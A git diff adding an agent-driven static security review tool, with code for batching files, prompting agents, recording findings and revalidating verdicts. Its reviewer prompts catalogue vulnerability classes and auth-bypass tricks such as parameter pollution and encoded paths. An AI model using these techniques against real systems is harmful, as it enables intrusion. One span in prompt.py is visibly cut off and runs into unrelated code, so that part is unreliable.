= 0 + false_positives: int = 0 + fixed: int = 0 + uncertain: int = 0 + duplicates: int = 0 + + +class RunMeta(Record): + run_id: str = Field(default_factory=new_run_id) + project_id: str + root_path: str + created_at: str = Field(default_factory=now) + completed_at: str | None = None + type: Literal["scan", "process", "revalidate"] + phase: Literal["running", "done", "error"] = "running" + pid: int | None = None + hostname: str | None = None + """pid liveness is only meaningful on the same host.""" + agent_type: str | None = None + model: str | None = None + stats: RunStats = Field(default_factory=RunStats) + + +# -- the agent's side of the contract (spec §4.3, §5) -------------------------- + + +class ReportedFinding(Record): + severity: Literal["CRITICAL", "HIGH", "MEDIUM", "HIGH_BUG", "BUG"] + vuln_slug: str + title: str + description: str + line_numbers: list[int] = Field(default_factory=list) + recommendation: str = "" + confidence: Confidence = "medium" + + +class FileReport(Record): + """One entry per file in the batch — `findings` empty when it is clean.""" + + file_path: str + findings: list[ReportedFinding] = Field(default_factory=list) + + +class Verdict(Record): + finding_id: str + verdict: AgentVerdict + reasoning: str + adjusted_severity: Severity | None = None + duplicate_of: str | None = None + """Required with `duplicate`: the findingId of the primary.""" + + +# -- finding identity (spec §2.4) ---------------------------------------------- + + +def finding_id(project_id: str, file_path: str, title: str) -> str: + """Derived ONLY from immutable identifying data, so the same finding has + the same id on every load, across runs, models and machines.""" + norm = file_path.replace("\\", "/").removeprefix("./") + digest = hashlib.sha256( + f"{project_id}\0{norm}\0{title}".encode() + ).hexdigest() + return f"finding_{digest[:16]}" + + +def ensure_finding_ids(record: FileRecord) -> bool: + """Backfill ids on findings that predate the field. + + Same-file title collisions are salted with a stable ordinal in array order — + findings are append-only, so an existing finding's ordinal never changes. + """ + changed = False + used = {f.finding_id for f in record.findings if f.finding_id} + for finding in record.findings: + if finding.finding_id: + continue + candidate = finding_id( + record.project_id, record.file_path, finding.title + ) + n = 2 + while candidate in used: + candidate = finding_id( + record.project_id, record.file_path, f"{finding.title}\0{n}" + ) + n += 1 + used.add(candidate) + finding.finding_id = candidate + changed = True + return changed + + +def split_evenly(total: int, parts: int) -> list[int]: + """Integers whose sum is exactly `total`, as equal as integers allow.""" + if parts <= 0: + return [] + base, remainder = divmod(total, parts) + return [base + (1 if i < remainder else 0) for i in range(parts)] diff --git a/examples/apps/deepysec/deepysec/process.py b/examples/apps/deepysec/deepysec/process.py new file mode 100644 index 00000000..4db5ab45 --- /dev/null +++ b/examples/apps/deepysec/deepysec/process.py @@ -0,0 +1,245 @@ +"""Stage 2 — process (spec §4). Batches of pending files go to a coding agent. + +Work selection and locking are the store's (§4.1). Prompting, the output +contract, cost and cancellation are the SDK's, through `agents.ask`. What +is left here is the loop: claim, ask, stamp, release. +""" + +from __future__ import annotations + +import asyncio +import os +import socket +from datetime import UTC, datetime +from typing import TYPE_CHECKING + +from ai.harnesses.experimental.errors import HarnessError +from deepysec.agents import ( + Answer, + ContractViolatedError, + Fleet, + RunAbortedError, + Worker, + ask, +) +from deepysec.models import ( + AnalysisEntry, + FileRecord, + FileReport, + Finding, + RunMeta, + TokenUsage, + now, + split_evenly, +) +from deepysec.prompt import investigation_prompt +from deepysec.store import Store, append_analysis + +if TYPE_CHECKING: + from collections.abc import Callable + + +def select(store: Store, *, limit: int | None) -> list[FileRecord]: + """Eligible files: precise candidates first (§3 noise), then by path.""" + eligible = [r for r in store.records() if store.is_claimable(r)] + eligible.sort(key=lambda r: (r.noise_score, r.file_path)) + return eligible[:limit] if limit else eligible + + +def chunk(items: list[FileRecord], size: int) -> list[list[FileRecord]]: + return [items[i : i + size] for i in range(0, len(items), max(1, size))] + + +async def process( + store: Store, + workers: list[Worker], + *, + batch_size: int = 3, + concurrency: int = 2, + limit: int | None = None, + timeout: float | None = 900.0, + project_info: str | None = None, + log: Callable[[str], None] = print, +) -> RunMeta: + first = workers[0] + run = RunMeta( + project_id=store.project_id, + root_path=str(first.harness.workspace.path), + type="process", + pid=os.getpid(), + hostname=socket.gethostname(), + agent_type=first.harness.kind, + model=first.model, + ) + store.save_run(run) + batches = chunk(select(store, limit=limit), batch_size) + log( + f"[process] run {run.run_id}: {sum(map(len, batches))} files in " + f"{len(batches)} batches " + + f"on {len(workers)} worker(s), {concurrency} in flight" + ) + fleet = Fleet() + gate = asyncio.Semaphore(concurrency) + + async def one(index: int, batch: list[FileRecord]) -> None: + async with gate: + if fleet.aborted: + return + worker = workers[index % len(workers)] + claimed = [ + c + for r in batch + if (c := store.claim(r.file_path, run)) is not None + ] + if not claimed: + return + names = ", ".join(r.file_path for r in claimed) + log( + f"[process] batch {index + 1}/{len(batches)} on " + f"{worker.label}: {names}" + ) + prompt = investigation_prompt( + claimed, + project_dir=worker.project_dir, + project_info=project_info, + ) + try: + answer = await ask( + worker, + prompt, + list[FileReport], + timeout=timeout, + fleet=fleet, + ) + except RunAbortedError as exc: + for record in claimed: + store.release(record, "pending") + await fleet.abort(str(exc)) + return + except ContractViolatedError as exc: + stamp = datetime.now(UTC).strftime("%Y%m%dT%H%M%S") + path = store.write_debug( + f"parse-error-process-{stamp}-{index + 1}.txt", exc.raw + ) + for record in claimed: + store.release(record, "error") + log( + f"[process] batch {index + 1}: no valid reply after 3 " + f"attempts; raw output in {path}" + ) + return + except HarnessError as exc: + for record in claimed: + store.release(record, "pending") + log( + f"[process] batch {index + 1} failed, files released: {exc}" + ) + return + stamped = apply_reports(store, run, worker, claimed, answer) + store.save_run(run) + log( + f"[process] batch {index + 1}: {stamped} files analyzed, " + + f"{run.stats.findings_count} findings so far, " + f"${run.stats.total_cost_usd:.4f}" + ) + + try: + await asyncio.gather(*(one(i, b) for i, b in enumerate(batches))) + finally: + # Whatever happened — Ctrl-C included — nothing stays locked by a run + # that is no longer running. Re-running the same command resumes. + freed = store.release_all(run.run_id) + run.phase = "error" if fleet.aborted else "done" + run.completed_at = now() + store.save_run(run) + if freed: + log(f"[process] released {freed} lock(s) held by this run") + if fleet.aborted: + log( + f"[process] ABORTED: {fleet.aborted}\n" + + " In-flight batches were stopped and their files stay pending. " + + "Fix the cause (top up, log in) and re-run the same command to " + "resume." + ) + else: + log( + f"[process] done: {run.stats.files_processed} files, " + f"{run.stats.findings_count} new " + + f"findings, ${run.stats.total_cost_usd:.4f}, run {run.run_id}" + ) + return run + + +def apply_reports( + store: Store, + run: RunMeta, + worker: Worker, + claimed: list[FileRecord], + answer: Answer[list[FileReport]], +) -> int: + """Stamp one batch's answer onto its files (spec §2.7 cost attribution). + + Cost, tokens and duration are divided over the files that produced a + valid report, so the per-file entries sum to the run total. A file the + agent left out goes back to pending — the next run re-requests only + those (adaptive splitting, in its simplest form). + """ + reports = {worker.relative(r.file_path): r for r in answer.output} + valid = [r for r in claimed if r.file_path in reports] + if not valid: + for record in claimed: + store.release(record, "pending") + return 0 + n = len(valid) + cost_share = answer.cost_usd / n if answer.cost_usd is not None else None + usage = answer.usage + shares = { + "input_tokens": split_evenly(usage.input_tokens, n), + "output_tokens": split_evenly(usage.output_tokens, n), + "cache_read_input_tokens": split_evenly( + usage.cache_read_input_tokens, n + ), + "cache_creation_input_tokens": split_evenly( + usage.cache_creation_input_tokens, n + ), + } + durations = split_evenly(answer.duration_ms, n) + for record in claimed: + if record.file_path not in reports: + store.release(record, "pending") + for i, record in enumerate(valid): + report = reports[record.file_path] + findings = [ + Finding( + severity=f.severity, + vuln_slug=f.vuln_slug, + title=f.title, + description=f.description, + line_numbers=f.line_numbers, + recommendation=f.recommendation, + confidence=f.confidence, + ) + for f in report.findings + ] + entry = AnalysisEntry( + run_id=run.run_id, + investigated_at=now(), + duration_ms=durations[i], + agent_type=worker.harness.kind, + model=worker.model, + agent_session_id=answer.session_id, + finding_count=len(findings), + phase="process", + cost_usd=cost_share, + usage=TokenUsage(**{k: v[i] for k, v in shares.items()}), + ) + added = append_analysis(record, entry, findings) + store.release(record, "analyzed") + run.stats.files_processed += 1 + run.stats.findings_count += added + run.stats.total_input_tokens += shares["input_tokens"][i] + run.stats.total_output_tokens += shares["output_tokens"][i] + run.stats.total_duration_ms += durations[i] + if cost_share is not None: + run.stats.total_cost_usd += cost_share + return n diff --git a/examples/apps/deepysec/deepysec/prompt.py b/examples/apps/deepysec/deepysec/prompt.py new file mode 100644 index 00000000..63b1d2ee --- /dev/null +++ b/examples/apps/deepysec/deepysec/prompt.py @@ -0,0 +1,362 @@ +# ruff: noqa: E501 -- prompt text is sent to the agent verbatim; wrapping it would change it +"""Prompt assembly (spec §4.2), ported from deepsec. + +`CORE_PROMPT`, the slug notes, the investigation instructions and the +revalidation prompt are deepsec's text, verbatim; the composition order is +`assemble.ts`'s. Left out of the MVP: framework highlights (`highlights.ts` ++ `detectTech`), which slot in between the core and the slug notes. + +The SDK appends the output schema itself, from the `output_type` each stage +passes to `session.run`, so what the original spelled out as a JSON block +is here the contract the SDK enforces and repairs. +""" + +from __future__ import annotations + +import subprocess +from typing import TYPE_CHECKING + +if TYPE_CHECKING: + from pathlib import Path + + from deepysec.models import FileRecord, Finding + +CORE_PROMPT = """You are a world-class security researcher with deep expertise in web application security, authentication systems, and modern application frameworks across many languages. You think like an attacker: you look for subtle logic flaws, not just textbook vulnerabilities. You have a track record of finding bugs that automated tools miss — race conditions, auth bypasses via parameter manipulation, and trust boundary violations. + +An automated scanner has identified these files as **candidates** worth investigating. The scanner uses regex and heuristic patterns to cast a wide net — many candidates will be false positives, but some will be real vulnerabilities. Your job is to perform a thorough, open-ended security review. Use the flagged patterns as starting points, then investigate each file for ANY security issue you can find — especially the subtle ones that only an expert would catch. + +**Static analysis only.** Do NOT attempt to reproduce, exploit, or trigger any vulnerability. Do not run the target code, send requests against any endpoint, or execute proof-of-concept scripts. Review the source code only. + +## Severity Classification + +Security severities (exploitable by an attacker): +- **CRITICAL**: Remote Code Execution (RCE), authentication bypass allowing full access, SQL injection on sensitive data, unrestricted file upload leading to RCE, SSRF to internal services +- **HIGH**: Cross-Site Scripting (XSS), Server-Side Request Forgery (SSRF), privilege escalation, hardcoded secrets/credentials in source code, insecure deserialization, missing authorization on sensitive operations +- **MEDIUM**: Open redirect, weak cryptographic algorithms, missing rate limiting, information disclosure, insecure direct object references, race conditions, logic bugs in auth/permission checks + +Non-security bugs worth reporting alongside security findings: +- **HIGH_BUG**: Major non-security bugs that could cause data loss, corruption, outages, or seriously broken behavior +- **BUG**: Notable non-security bugs (logic errors, race conditions, resource leaks) that don't rise to HIGH_BUG + +## Known Vulnerability Categories + +The scanner looks for these patterns, but you should look for ALL of them regardless of what the scanner flagged: + +| Slug | Category | +|------|----------| +| auth-bypass | Authentication checks that can be circumvented | +| missing-auth | HTTP endpoints without authentication | +| acl-check | Missing or incorrect RBAC/permission checks | +| xss | Cross-site scripting via innerHTML, dangerouslySetInnerHTML, etc. | +| dangerous-html | Unsafe HTML rendering with user-controlled data | +| rce | Remote code execution via exec, eval, spawn, etc. | +| sql-injection | SQL injection via string interpolation/concatenation | +| ssrf | Server-side request forgery via user-controlled URLs | +| path-traversal | File operations with user-controlled paths | +| secrets-exposure | Hardcoded API keys, tokens, passwords | +| insecure-crypto | Weak hash algorithms, insecure random generation | +| open-redirect | Redirects to user-controlled URLs | +| unsafe-redirect | Redirects bypassing validation functions | +| public-endpoint | Public endpoints exposing sensitive data without auth | +| service-entry-point | Service handlers that may lack proper auth | +| webhook-handler | Webhook endpoints without signature verification | +| iam-permissions | Misconfigured IAM Action/Resource permissions | +| jwt-handling | JWT signing/verification misconfigurations | +| env-exposure | Secrets leaking to client bundles | +| rate-limit-bypass | Sensitive operations without rate limiting | +| cache-key-poisoning | Cache keys including attacker-controlled values | +| secret-env-var | Direct access to secret environment variables | +| cross-tenant-id | User-supplied IDs in DB lookups without ownership check | +| secret-in-fallback | Secret env vars with hardcoded fallback values | +| secret-in-log | Credentials in log statements or error responses | +| expensive-api-abuse | Endpoints calling expensive APIs (LLM, AI, paid services) without abuse protection | +| other-* | Any other vulnerability not listed above (use descriptive suffix) | + +## False Positive Guidance + +Before classifying an issue, check for mitigations: +- Is the input sanitized or escaped before use? (parameterized queries, HTML escaping) +- Is there middleware or a framework guard that protects this code path? +- Is the vulnerable pattern only used with trusted/internal data, not user input? +- For auth checks: only middleware that *wraps the handler directly* counts (Express middleware, Fastify hooks, NestJS guards, Spring filters, Rails before_action, Django decorators, FastAPI Depends). Edge/proxy/CDN/WAF rules and front-of-stack middleware that runs BEFORE the handler are NOT sufficient on their own — too easy to misconfigure or bypass via routes that escape the matcher. +- For redirects: is there an explicit allowlist or origin check before the redirect? + +If fully mitigated, do NOT flag it. Report only genuine, exploitable vulnerabilities. + +## Auth Bypass Patterns to Look For + +Beyond missing auth, look for **subtle bypasses** in code that appears to have auth: + +### Query String & URL Manipulation +- **Parameter pollution**: Can duplicate query params (e.g., `?teamId=x&teamId=y`) change behavior or bypass checks? +- **Encoded characters**: Does the app handle URL-encoded, double-encoded, or Unicode-normalized paths correctly? (`%2F` vs `/`, `%00` null bytes) +- **Route param injection**: Can dynamic route segments be manipulated to access other users' data? +- **Token refresh abuse**: Query params that force token refreshes — are they rate-limited? + +### Auth Flow Bypasses +- **OAuth callback manipulation**: State parameter tampering, redirect_uri manipulation, custom URI scheme injection +- **Session/JWT weaknesses**: Missing algorithm pinning, stub sessions when auth not configured, test tokens reachable in prod +- **Header injection**: Auth headers like `X-Forwarded-For`, `Authorization`, custom `x-*` tokens — are they validated or trusted blindly? + +### Authorization Gaps (has auth, wrong auth) +- **Cross-tenant access**: User-supplied `teamId`/`userId` used in DB queries instead of the authenticated identity +- **Missing resource-level checks**: Auth confirms "user is logged in" but doesn't verify "user owns this resource" +- **Negated permission checks**: `!(await auth.can(...))` with inverted logic + +## Out-of-scope files + +Skip files that are gitignored, generated, vendored, or not production code. If a file is in `dist/`, `node_modules/`, `vendor/`, `generated/`, or matches `.gitignore`, return an empty findings array for it.""" + + +#: Per-slug one-line notes, pulled into the prompt only when the slug +#: appears in the current batch: "what to check before flagging." +SLUG_NOTES: dict[str, str] = { + "missing-auth": "Weak candidate — only flag if no auth wrapper, no role check, AND user-controlled input reaches a sink.", + "auth-bypass": "Look for inverted booleans, early returns that skip checks, and `if (process.env.X) skipAuth()` patterns.", + "cross-tenant-id": "User-supplied teamId/userId in DB queries — confirm the authenticated identity is used for the ownership check, not the request param alone.", + "cors-wildcard": "`origin: true` + `credentials: true` is the high-severity shape; static `*` without credentials is usually fine.", + "open-redirect": "Flag only if there's no allowlist, origin check, or hash-only redirect; relative paths starting with `//` are still external.", + "unsafe-redirect": "Verify the redirect path passes through a validation function and that the validator can't be bypassed via encoding.", + "dangerous-html": "DB-stored HTML is still untrusted — flag unless there's a sanitizer (DOMPurify, sanitize-html) BETWEEN the data and the render.", + "xss": "Check escape state at every step; raw concat into HTML, JSON-in-script without ` str: + """`assemble.ts`: core, slug notes for the slugs in this batch, then the + user-authored INFO.md and promptAppend behind horizontal rules.""" + sections: list[str] = [CORE_PROMPT] + notes = [ + f"- `{s}`: {SLUG_NOTES[s]}" + for s in dict.fromkeys(batch_slugs) + if s in SLUG_NOTES + ] + if notes: + sections.append( + "## Slug-specific reviewer notes\n\n" + "\n".join(notes) + ) + if project_info and project_info.strip(): + sections.append("---\n\n" + project_info.strip()) + if prompt_append and prompt_append.strip(): + sections.append("---\n\n" + prompt_append.strip()) + return "\n\n".join(sections) + + +def _where(project_dir: str) -> str: + """Only for a workspace where the tree is not at the root (a sandbox).""" + if project_dir in ("", "."): + return "" + return ( + f"\n\n## Where the code is\n\nThe project root is `{project_dir}/`, relative to your " + + f"working directory. Paths below are relative to that root; read `{project_dir}/`." + ) + + +INVESTIGATION_INSTRUCTIONS = """## Investigation Instructions + +For each file: +1. **Read the file fully** using the Read tool +2. **Trace data flows** — where does input come from? Is it user-controlled? +3. **Follow imports** — read related files (middleware, utils, shared libs) to understand the full picture +4. **Check for mitigations** — is there sanitization, validation, auth middleware, or framework protection? +5. **Think broadly** — look for issues beyond what the scanner flagged. The scanner only finds surface patterns; you should reason about logic bugs, race conditions, missing checks, etc. + +## Output Format + +After your investigation, output your findings for EACH file as a JSON array of `{ filePath, findings }` objects, using the exact relative paths shown above. + +**Severity levels:** +- **CRITICAL / HIGH / MEDIUM** — security vulnerabilities (exploitable by an attacker) +- **HIGH_BUG** — major non-security bugs that could cause data loss, corruption, outages, or seriously broken behavior +- **BUG** — notable non-security bugs (logic errors, race conditions, resource leaks) that don't rise to HIGH_BUG + +**vulnSlug** can be any of the known categories OR a custom slug for issues not covered by the scanner. Use `"other"` as the slug prefix for novel findings (e.g., `"other-race-condition"`, `"other-logic-bug"`, `"other-info-disclosure"`). + +If a file has no real vulnerabilities after thorough investigation, include it with an empty findings array.""" + + +def investigation_prompt( + batch: list[FileRecord], + *, + project_dir: str, + project_info: str | None = None, +) -> str: + """`buildInvestigatePrompt`: the assembled template, the per-batch + target list, the procedural steps, the output spec.""" + template = assemble( + [c.vuln_slug for r in batch for c in r.candidates], + project_info=project_info, + ) + targets = [] + for record in batch: + if not record.candidates: + targets.append( + f"- **{record.file_path}** (no scanner hits — full holistic review)" + ) + continue + details = "\n".join( + f" - [{c.vuln_slug}] L{', '.join(str(n) for n in c.line_numbers)}: {c.matched_pattern}" + for c in record.candidates + ) + targets.append(f"- **{record.file_path}**\n{details}") + return ( + template + + _where(project_dir) + + "\n\n## Target Files\n\n" + + "\n".join(targets) + + "\n\n" + + INVESTIGATION_INSTRUCTIONS + ) + + +REVALIDATION_INTRO = """You are a world-class security researcher performing an adversarial review of vulnerability findings. Your goal is to determine, with high confidence, whether each finding is real and exploitable. You must be thorough — incorrect verdicts here directly impact security decisions. + +**Take your time.** Read every relevant file. Trace every code path. Do not make assumptions — verify. + +**Static analysis only.** Do NOT attempt to reproduce, exploit, or trigger any finding. Do not run the target code, send requests against any endpoint, or execute proof-of-concept scripts. Reach your verdict from the source code alone.""" + +REVALIDATION_PROCESS = """## Investigation Process + +For EACH finding, perform ALL of these steps before rendering a verdict: + +1. **Read the target file fully** — not just the flagged lines, the entire file +2. **Read all imports that matter** — middleware, auth utilities, validation helpers, the framework's request pipeline +3. **Trace the data flow end-to-end** — Where does the input enter? What transformations happen? Is there validation or sanitization? +4. **Think like an attacker** — Construct a concrete attack scenario. If you can't, it's likely a false positive. +5. **Check for framework-level protections** — Next.js middleware, withSchema auth strategies, CSRF tokens, CORS headers +6. **Check the current code vs. the finding** — Has the vulnerable code been modified or removed? Check git history. +7. **Assess confidence honestly** — If you're not sure, say "uncertain". Don't guess. + +## Verdicts + +- **true-positive** — Real AND exploitable. You can describe a concrete attack. +- **false-positive** — Not exploitable. Name the specific mitigation. +- **fixed** — Was real but has been patched. Cite the change. +- **uncertain** — Can't determine. Explain what's ambiguous. +- **duplicate** — This finding describes the **same underlying vulnerability** at the **same code location** as another finding in the **same file** (e.g., two matchers flagged the same line range from different angles, or the same auth bypass surfaced twice with different phrasing). Set `duplicateOf` to the Finding ID of the primary finding — the one that should keep the canonical verdict. Same vuln class in a different location is **not** a duplicate. + +If severity should change, set `adjustedSeverity`. Omit if correct. + +### Duplicate rules (read carefully) + +- `duplicate` is only valid within a single file. Cross-file similarity does **not** count. +- For any equivalence class of duplicates, **exactly one finding stays primary** with a real verdict (true-positive / false-positive / fixed / uncertain). The other(s) are `duplicate` with `duplicateOf` pointing at the primary's Finding ID. +- The primary you reference in `duplicateOf` **must itself have a non-duplicate verdict** in your output (or already in the file's prior revalidation). If you mark every member of a group as duplicate, all of them will be rejected. +- Pick the primary as the most precise / highest-confidence statement of the issue. The duplicates should add context in their `reasoning`, not repeat the full analysis. + +## Output Format + +Return a JSON array with exactly one verdict object per Finding ID below — `findingId`, `verdict`, `reasoning` (5-10 sentences; show your work), and optionally `adjustedSeverity` and `duplicateOf`.""" + + +def _git_history(root: Path | None, file_path: str) -> str: + """Recent history for one file, from the host's checkout (a sandbox copy + has no `.git`). argv form, never a shell: the path came from a glob.""" + if root is None: + return "" + try: + out = subprocess.run( + [ + "git", + "log", + "--oneline", + "--since=3 months ago", + "-n", + "10", + "--", + file_path, + ], + cwd=root, + capture_output=True, + text=True, + timeout=10, + check=False, + ) + except (OSError, subprocess.TimeoutExpired): + return "" + log = out.stdout.strip() if out.returncode == 0 else "" + return f"\n**Recent git history:**\n```\n{log}\n```\n" if log else "" + + +def revalidation_prompt( + items: list[tuple[FileRecord, Finding]], + *, + project_dir: str, + git_root: Path | None = None, + project_info: str | None = None, +) -> str: + """`buildRevalidatePrompt`, keyed by the full `findingId` rather than a + short alias — the id is what the SDK's schema asks the agent to echo.""" + by_file: dict[str, list[tuple[FileRecord, Finding]]] = {} + for record, finding in items: + by_file.setdefault(record.file_path, []).append((record, finding)) + sections = [] + for path, group in by_file.items(): + blocks = [] + for _, f in group: + blocks.append( + f"### Finding: {f.title}\n" + + f"- **Finding ID:** {f.finding_id}\n" + + f"- **Severity:** {f.severity}\n" + + f"- **Slug:** {f.vuln_slug}\n" + + f"- **Lines:** {', '.join(str(n) for n in f.line_numbers)}\n" + + f"- **Confidence:** {f.confidence}\n" + + f"- **Description:** {f.description}\n" + + f"- **Recommendation:** {f.recommendation}" + ) + sections.append( + f"## File: {path}\n\n" + + "\n\n".join(blocks) + + "\n" + + _git_history(git_root, path) + ) + context = ( + f"## Project Context\n\n{project_info.strip()}\n\n" + if project_info and project_info.strip() + else "" + ) + listing = "\n".join(f'- {f.finding_id} — "{f.title}"' for _, f in items) + return ( + REVALIDATION_INTRO + + _where(project_dir) + + "\n\n" + + context + + "\n---\n\n".join(sections) + + "\n\n" + + REVALIDATION_PROCESS + + "\n\nYou must return exactly one verdict for every Finding ID below:\n\n" + + listing + + '\n\n**Copy each `findingId` exactly as shown. Do not invent or modify IDs.** The Finding ID — not the title — is how verdicts are matched back to findings. `adjustedSeverity` is optional. `duplicateOf` is required iff `verdict === "duplicate"` and is otherwise ignored; it must also be a Finding ID.\n\n' + + "**Your reasoning is the most important part.** A verdict without thorough reasoning is worthless." + ) diff --git a/examples/apps/deepysec/deepysec/revalidate.py b/examples/apps/deepysec/deepysec/revalidate.py new file mode 100644 index 00000000..660c0130 --- /dev/null +++ b/examples/apps/deepysec/deepysec/revalidate.py @@ -0,0 +1,276 @@ +"""Stage 3 — revalidate (spec §5). A second agent attacks the FINDINGS. + +Input: findings with no `revalidation` (all of them with `force`), at or +above `min_severity`. Output: a verdict per `findingId`, reconciled onto the +findings under the duplicate invariant. Never creates a finding. +""" + +from __future__ import annotations + +import asyncio +from datetime import UTC, datetime +from typing import TYPE_CHECKING + +from ai.harnesses.experimental.errors import HarnessError +from deepysec.agents import ( + ContractViolatedError, + Fleet, + RunAbortedError, + Worker, + ask, +) +from deepysec.models import ( + SEVERITY_ORDER, + AnalysisEntry, + FileRecord, + Finding, + Revalidation, + RunMeta, + Verdict, + now, + split_evenly, +) +from deepysec.prompt import revalidation_prompt + +if TYPE_CHECKING: + from collections.abc import Callable + from pathlib import Path + + from deepysec.store import Store + +Item = tuple[FileRecord, Finding] + + +def select( + store: Store, *, min_severity: str, force: bool, limit: int | None +) -> list[Item]: + cutoff = SEVERITY_ORDER[min_severity] + items: list[Item] = [] + for record in store.records(): + for finding in record.findings: + if SEVERITY_ORDER[finding.severity] > cutoff: + continue + existing = finding.revalidation + # A manual accepted-risk is never re-opened, force or not. + if existing is not None and ( + existing.verdict == "accepted-risk" or not force + ): + continue + items.append((record, finding)) + return items[:limit] if limit else items + + +def by_file(items: list[Item], batch_size: int) -> list[list[Item]]: + groups: dict[str, list[Item]] = {} + for record, finding in items: + groups.setdefault(record.file_path, []).append((record, finding)) + files = list(groups.values()) + return [ + [item for group in files[i : i + batch_size] for item in group] + for i in range(0, len(files), max(1, batch_size)) + ] + + +def reconcile( + items: list[Item], verdicts: list[Verdict], *, run_id: str, model: str +) -> tuple[int, list[str]]: + """Map verdicts onto findings; enforce the duplicate invariant. + + Every equivalence class has exactly one non-duplicate primary. A + `duplicate` whose `duplicateOf` is missing, is itself, points outside + the batch, or points at another duplicate is rejected — the finding + stays unrevalidated and the next run asks again. + """ + findings = {f.finding_id: f for _, f in items if f.finding_id} + proposed = {v.finding_id: v for v in verdicts if v.finding_id in findings} + rejected: list[str] = [] + + def is_duplicate(fid: str) -> bool: + v = proposed.get(fid) + if v is not None: + return v.verdict == "duplicate" + existing = findings[fid].revalidation + return existing is not None and existing.verdict == "duplicate" + + applied = 0 + for fid, verdict in proposed.items(): + finding = findings[fid] + if ( + finding.revalidation is not None + and finding.revalidation.verdict == "accepted-risk" + ): + continue + if verdict.verdict == "duplicate": + target = verdict.duplicate_of + if ( + not target + or target == fid + or target not in findings + or is_duplicate(target) + ): + rejected.append(fid) + continue + finding.revalidation = Revalidation( + verdict=verdict.verdict, + reasoning=verdict.reasoning, + adjusted_severity=verdict.adjusted_severity, + duplicate_of=verdict.duplicate_of + if verdict.verdict == "duplicate" + else None, + revalidated_at=now(), + run_id=run_id, + model=model, + ) + applied += 1 + return applied, rejected + + +async def revalidate( + store: Store, + workers: list[Worker], + *, + min_severity: str = "HIGH", + force: bool = False, + batch_size: int = 3, + concurrency: int = 2, + limit: int | None = None, + timeout: float | None = 900.0, + git_root: Path | None = None, + project_info: str | None = None, + log: Callable[[str], None] = print, +) -> RunMeta: + first = workers[0] + run = RunMeta( + project_id=store.project_id, + root_path=str(first.harness.workspace.path), + type="revalidate", + agent_type=first.harness.kind, + model=first.model, + ) + store.save_run(run) + batches = by_file( + select(store, min_severity=min_severity, force=force, limit=limit), + batch_size, + ) + total = sum(map(len, batches)) + log( + f"[revalidate] run {run.run_id}: {total} findings ({min_severity}+) in " + f"{len(batches)} batches" + ) + fleet = Fleet() + gate = asyncio.Semaphore(concurrency) + + async def one(index: int, items: list[Item]) -> None: + async with gate: + if fleet.aborted: + return + worker = workers[index % len(workers)] + prompt = revalidation_prompt( + items, + project_dir=worker.project_dir, + git_root=git_root, + project_info=project_info, + ) + try: + answer = await ask( + worker, prompt, list[Verdict], timeout=timeout, fleet=fleet + ) + except RunAbortedError as exc: + await fleet.abort(str(exc)) + return + except ContractViolatedError as exc: + stamp = datetime.now(UTC).strftime("%Y%m%dT%H%M%S") + path = store.write_debug( + f"parse-error-revalidate-{stamp}-{index + 1}.txt", exc.raw + ) + log( + f"[revalidate] batch {index + 1}: no valid reply after 3 " + f"attempts; raw output in {path}" + ) + return + except HarnessError as exc: + log(f"[revalidate] batch {index + 1} failed: {exc}") + return + # Raw verdicts are kept verbatim so a mismatch can be diagnosed + # without repeating model work (spec §5). + store.write_debug( + f"revalidate-{run.run_id}-{index + 1}.json", + "[" + + ",".join(v.model_dump_json() for v in answer.output) + + "]", + ) + applied, rejected = reconcile( + items, answer.output, run_id=run.run_id, model=worker.model + ) + touched = { + r.file_path: r + for r, f in items + if f.revalidation and f.revalidation.run_id == run.run_id + } + n = len(touched) + cost = ( + answer.cost_usd / n + if (answer.cost_usd is not None and n) + else None + ) + durations = split_evenly(answer.duration_ms, n) + for i, record in enumerate(touched.values()): + record.analysis_history.append( + AnalysisEntry( + run_id=run.run_id, + investigated_at=now(), + duration_ms=durations[i], + agent_type=worker.harness.kind, + model=worker.model, + agent_session_id=answer.session_id, + finding_count=sum( + 1 + for f in record.findings + if f.revalidation + and f.revalidation.run_id == run.run_id + ), + phase="revalidate", + cost_usd=cost, + usage=answer.usage if i == 0 else None, + ) + ) + store.save(record) + if cost is not None: + run.stats.total_cost_usd += cost + for _, finding in items: + v = finding.revalidation + if v is None or v.run_id != run.run_id: + continue + run.stats.findings_revalidated += 1 + key = { + "true-positive": "true_positives", + "false-positive": "false_positives", + "fixed": "fixed", + "uncertain": "uncertain", + "duplicate": "duplicates", + }[v.verdict] + setattr(run.stats, key, getattr(run.stats, key) + 1) + store.save_run(run) + log( + f"[revalidate] batch {index + 1}: {applied} verdicts" + + ( + f", {len(rejected)} rejected (duplicate invariant)" + if rejected + else "" + ) + ) + + try: + await asyncio.gather(*(one(i, b) for i, b in enumerate(batches))) + finally: + run.phase = "error" if fleet.aborted else "done" + run.completed_at = now() + store.save_run(run) + s = run.stats + log( + f"[revalidate] done: {s.findings_revalidated} verdicts — " + f"{s.true_positives} true, " + + f"{s.false_positives} false, {s.fixed} fixed, {s.uncertain} " + "uncertain, " + f"{s.duplicates} duplicate; ${s.total_cost_usd:.4f}" + ) + return run diff --git a/examples/apps/deepysec/deepysec/scan.py b/examples/apps/deepysec/deepysec/scan.py new file mode 100644 index 00000000..ff345919 --- /dev/null +++ b/examples/apps/deepysec/deepysec/scan.py @@ -0,0 +1,82 @@ +"""Stage 1 — scan (spec §3). Free, no AI. Narrows the surface; decides nothing. + +Walks the project root the way the SDK's `copy` does — honouring +`.gitignore` and the usual noise directories — runs every active matcher on +each file it applies to, and writes candidates into the FileRecord. +""" + +from __future__ import annotations + +import hashlib +from typing import TYPE_CHECKING + +# Private: the same rules `copy()` uses to decide what travels. +from ai.workspaces.experimental._base import ( + DEFAULT_IGNORE, # noqa: PLC2701 + walk_uploadable, # noqa: PLC2701 +) +from deepysec.models import FileRecord, RunMeta, now +from deepysec.store import Store, merge_candidates + +if TYPE_CHECKING: + from collections.abc import Callable + from pathlib import Path + + from deepysec.matchers import Matcher + +#: deepsec's own generated data is never itself scanned. +SCAN_IGNORE: tuple[str, ...] = (*DEFAULT_IGNORE, ".deepsec") + + +def scan( + root: Path, + store: Store, + matchers: list[Matcher], + *, + log: Callable[[str], None] = print, +) -> RunMeta: + run = RunMeta(project_id=store.project_id, root_path=str(root), type="scan") + store.save_run(run) + for local, relative in walk_uploadable(root, SCAN_IGNORE, gitignore=True): + applicable = [m for m in matchers if m.applies_to(relative)] + if not applicable: + continue + try: + content = local.read_text(errors="replace") + except OSError: + continue + found = [c for m in applicable for c in m.match(content, relative)] + if not found: + continue + digest = 